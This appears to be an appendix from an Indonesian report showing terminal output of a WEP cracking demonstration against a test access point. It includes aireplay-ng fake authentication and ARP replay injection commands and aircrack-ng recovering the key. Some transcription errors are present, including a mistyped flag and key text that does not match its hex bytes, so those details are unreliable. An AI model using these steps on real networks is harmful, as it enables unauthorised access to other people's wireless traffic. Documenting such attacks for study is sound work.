

LAMPIRAN

Screenshot Proses Cracking pada WEP

1. Proses pengumpulan informasi mengenai *access point* yang menggunakan protocol WEP

```
CH 1 ][ Elapsed: 20 s ][ 2010-01-21 21:56
BSSID          FWR RXQ  Beacons  #Data, #/s  CH MB  ENC  CIPHER AUTH  ESSID
00:15:6D:E8:A8:78 -45 100    193      0  0  1  54 . WEP  WEP    TEST
```

2. Melakukan koneksi ke *access point* untuk kemudian melakukan *packet injection*

```
root@bt:~# aireplay-ng -l 0 -a 00:15:6D:E8:A8:78 -h 00:15:AF:C9:B6:B2 -e TEST mon0
22:04:49 Waiting for beacon frame (BSSID: 00:15:6D:E8:A8:78) on channel 1
22:04:49 Sending Authentication Request (Open System) [ACK]
22:04:49 Authentication successful
22:04:49 Sending Association Request [ACK]
22:04:49 Association successful :- (AID: 1)
```

3. Proses membaca paket yang ditransmisikan di dalam jaringan

```
root@bt:~# aireplay-ng -3 -b 00:15:6D:E8:A8:78 -h 00:15:AF:C9:B6:B2 mon0
22:14:17 Waiting for beacon frame (BSSID: 00:15:6D:E8:A8:78) on channel 1
Saving ARP requests in replay_arp-0121-221417.cap
You should also start airodump-ng to capture replies.
Read 14629 packets (got 0 ARP requests and 6 ACKs), sent 0 packets... (0 pps)
```

4. Tunggu “#Data” bertambah sampai kurang lebih 25000

```

CH 1 ][ Elapsed: 36 s ][ 2010-01-21 22:52
BSSID          PWR RXQ Beacons  #Data, #/s CH MB  ENC  CIPHER AUTH ESSID
00:15:6D:E8:A8:78 -43 100   350    113  1  1  54 . WEP  WEP   TEST
BSSID          STATION          PWR  Rate  Lost  Packets  Probes
00:15:6D:E8:A8:78 00:22:3F:09:15:6D -53  0 - 2    0      2

```

```

CH 1 ][ Elapsed: 8 mins ][ 2010-01-21 23:07
BSSID          PWR RXQ Beacons  #Data, #/s CH MB  ENC  CIPHER AUTH ESSID
00:15:6D:E8:A8:78 -44 100   1910   589  0  1  54 . WEP  WEP   OPN TEST
BSSID          STATION          PWR  Rate  Lost  Packets  Probes
00:15:6D:E8:A8:78 00:15:AF:C9:B6:B2  0  0 - 1  26582  34267
00:15:6D:E8:A8:78 00:22:3F:09:15:6D -55  1 - 2    0     147
00:15:6D:E8:A8:78 00:22:3F:09:15:6D -55  1 - 2    0     147

```

5. Proses *cracking* WEP dengan memanfaatkan pengumpulan paket yang di transmisikan dalam jaringan.

```
Aircrack-ng 1.0 r1645

[00:00:04] Tested 317185 keys (got 289 IVs)

KB  depth  byte(vote)
0   4/ 8     7D(1024) A3(1024) D3(1024) DF(1024) 08( 768) 23( 768) 2F( 768)
1   7/ 24    F6(1024) 05( 768) 08( 768) 1C( 768) 39( 768) 3B( 768) 4B( 768)
2   4/ 5     D0(1024) 08( 768) 11( 768) 12( 768) 2F( 768) 32( 768) 3D( 768)
3   0/ 1     19(1280) 72(1024) E0(1024) FC(1024) 0A( 768) 11( 768) 12( 768)
4   0/ 1     F6(1280) 03(1024) 0C(1024) 15(1024) 71(1024) 8F(1024) B2(1024)
5   1/ 2     44(1280) 10(1024) 3B(1024) 4B(1024) 55(1024) 5A(1024) 5C(1024)
6   0/ 1     42(1536) 63(1280) 58(1024) 9A(1024) 9C(1024) A7(1024) B3(1024)
7   3/ 4     A4(1024) 12( 768) 1A( 768) 28( 768) 36( 768) 4D( 768) 51( 768)
8   6/ 7     D4(1024) 25( 768) 29( 768) 3B( 768) 57( 768) 62( 768) 83( 768)
9   1/ 2     50(1280) 4D(1024) 74(1024) DA(1024) E6(1024) 16( 768) 25( 768)
10  2/ 3     BF(1024) 0C( 768) 1D( 768) 26( 768) 30( 768) 3A( 768) 3D( 768)
11  0/ 1     40(1536) 62(1280) 02(1024) 9B(1024) C8(1024) FD(1024) 01( 768)
12  0/ 1     AB(1280) 0C(1024) 24(1024) 4F(1024) 78(1024) AA(1024) FF(1024)
```

```
Aircrack-ng 1.0 r1645

[00:00:00] Tested 691 keys (got 34366 IVs)

KB  depth  byte(vote)
0   0/ 1     77(54272) 40(43520) 62(41216) 89(40704) C4(40448) 71(40192)
1   19/ 1    EF(38912) 2B(38656) 41(38656) 45(38656) 8B(38656) 94(38656)
2   2/ 22    BB(42240) 8E(41728) 3A(41216) 60(41216) 18(40192) 43(40192)
3   0/ 2     C3(52992) 5E(43776) A6(41984) 43(40192) D3(39936) F9(39680)
4   9/ 4     EC(39936) 48(39680) A8(39680) 26(39424) 6D(39424) D9(39168)

KEY FOUND! [ 77:65:70:77:65:70:77:65:70:77:65:70:31 ] (ASCII: wєrwєrwєrwєrwє )
Decrypted correctly: 100%

root@bt:~# █
```